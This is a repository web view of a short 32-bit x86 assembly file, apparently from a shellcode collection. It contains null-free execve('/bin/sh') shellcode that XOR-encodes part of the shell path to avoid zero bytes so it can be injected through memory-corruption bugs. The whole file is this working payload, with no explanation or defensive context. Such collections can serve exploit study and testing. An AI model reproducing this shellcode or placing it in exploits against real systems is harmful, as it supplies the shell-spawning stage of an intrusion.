summaryrefslogtreecommitdiff
path: root/shellcode/exec-reloc-nozero.S
blob: f5e27659c2dc4c393a50aea4436f77495d7f2ac3 (plain)
1
2
3
4
5
6
7
8
9
10
.global _start
_start:
	xorl %eax,%eax
	addb $11, %al
	movl $0x3058431f, %ebx
	xorl $0x30303030, %ebx # "/sh\0"
	pushl %ebx
	pushl $0x6e69622f # "/bin"
	movl %esp, %ebx
	int $0x80